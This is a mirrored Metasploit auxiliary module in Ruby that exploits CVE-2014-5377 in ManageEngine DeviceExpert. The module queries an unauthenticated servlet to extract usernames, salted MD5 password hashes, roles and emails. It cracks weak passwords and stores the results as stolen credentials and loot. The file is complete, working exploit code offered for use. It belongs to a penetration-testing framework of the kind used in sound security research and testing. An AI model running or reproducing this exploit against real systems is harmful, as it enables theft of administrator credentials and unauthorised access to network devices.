Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

manageengine_deviceexpert_user_creds.rb 4.8KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class MetasploitModule < Msf::Auxiliary
  7. include Msf::Auxiliary::Report
  8. include Msf::Auxiliary::Scanner
  9. include Msf::Exploit::Remote::HttpClient
  10. def initialize(info = {})
  11. super(update_info(
  12. info,
  13. 'Name' => 'ManageEngine DeviceExpert User Credentials',
  14. 'Description' => %q{
  15. This module extracts usernames and salted MD5 password hashes
  16. from ManageEngine DeviceExpert version 5.9 build 5980 and prior.
  17. This module has been tested successfully on DeviceExpert
  18. version 5.9.7 build 5970.
  19. },
  20. 'License' => MSF_LICENSE,
  21. 'Author' =>
  22. [
  23. 'Pedro Ribeiro <pedrib[at]gmail.com>', # Discovery and exploit
  24. 'Brendan Coles <bcoles[at]gmail.com>' # metasploit module
  25. ],
  26. 'References' =>
  27. [
  28. ['EDB', '34449'],
  29. ['OSVDB', '110522'],
  30. ['CVE', '2014-5377']
  31. ],
  32. 'DisclosureDate' => 'Aug 28 2014'))
  33. register_options(
  34. [
  35. Opt::RPORT(6060),
  36. OptBool.new('SSL', [true, 'Use SSL', true])
  37. ], self.class)
  38. deregister_options('RHOST')
  39. end
  40. def check
  41. get_users ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
  42. end
  43. def get_users
  44. users = nil
  45. vprint_status("Reading users from master...")
  46. res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet'))
  47. if !res
  48. vprint_error("Connection failed")
  49. elsif res.code == 404
  50. vprint_error("Could not find 'ReadUsersFromMasterServlet'")
  51. elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
  52. users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
  53. vprint_good("Found #{users.length} users")
  54. else
  55. vprint_error("Could not find any users")
  56. end
  57. users
  58. end
  59. def parse_user_data(user)
  60. return if user.nil?
  61. username = user.scan(/<username>([^<]+)</).flatten.first
  62. encoded_hash = user.scan(/<password>([^<]+)</).flatten.first
  63. role = user.scan(/<userrole>([^<]+)</).flatten.first
  64. mail = user.scan(/<emailid>([^<]+)</).flatten.first
  65. salt = user.scan(/<saltvalue>([^<]+)</).flatten.first
  66. hash = Rex::Text.decode_base64(encoded_hash).unpack('H*').flatten.first
  67. pass = nil
  68. ['12345', 'admin', 'password', username].each do |weak_password|
  69. if hash == Rex::Text.md5(weak_password + salt)
  70. pass = weak_password
  71. break
  72. end
  73. end
  74. [username, pass, hash, role, mail, salt]
  75. end
  76. def run_host(ip)
  77. users = get_users
  78. return if users.nil?
  79. service_data = {
  80. address: rhost,
  81. port: rport,
  82. service_name: (ssl ? 'https' : 'http'),
  83. protocol: 'tcp',
  84. workspace_id: myworkspace_id
  85. }
  86. cred_table = Rex::Text::Table.new(
  87. 'Header' => 'ManageEngine DeviceExpert User Credentials',
  88. 'Indent' => 1,
  89. 'Columns' =>
  90. [
  91. 'Username',
  92. 'Password',
  93. 'Password Hash',
  94. 'Role',
  95. 'E-mail',
  96. 'Password Salt'
  97. ]
  98. )
  99. vprint_status("Parsing user data...")
  100. users.each do |user|
  101. record = parse_user_data(user.to_s)
  102. next if record.join.empty?
  103. user = record[0]
  104. pass = record[1]
  105. hash = record[2]
  106. role = record[3]
  107. mail = record[4]
  108. salt = record[5]
  109. cred_table << [user, pass, hash, role, mail, salt]
  110. if pass
  111. print_status("Found weak credentials (#{user}:#{pass})")
  112. credential_data = {
  113. origin_type: :service,
  114. module_fullname: self.fullname,
  115. private_type: :password,
  116. private_data: pass,
  117. username: user
  118. }
  119. else
  120. credential_data = {
  121. origin_type: :service,
  122. module_fullname: self.fullname,
  123. private_type: :nonreplayable_hash,
  124. private_data: "#{salt}:#{hash}",
  125. username: user
  126. }
  127. end
  128. credential_data.merge!(service_data)
  129. credential_core = create_credential(credential_data)
  130. login_data = {
  131. core: credential_core,
  132. access_level: role,
  133. status: Metasploit::Model::Login::Status::UNTRIED
  134. }
  135. login_data.merge!(service_data)
  136. create_credential_login(login_data)
  137. end
  138. print_line
  139. print_line("#{cred_table}")
  140. loot_name = 'manageengine.deviceexpert.user.creds'
  141. loot_type = 'text/csv'
  142. loot_filename = 'manageengine_deviceexpert_user_creds.csv'
  143. loot_desc = 'ManageEngine DeviceExpert User Credentials'
  144. p = store_loot(
  145. loot_name,
  146. loot_type,
  147. rhost,
  148. cred_table.to_csv,
  149. loot_filename,
  150. loot_desc)
  151. print_status "Credentials saved in: #{p}"
  152. end
  153. end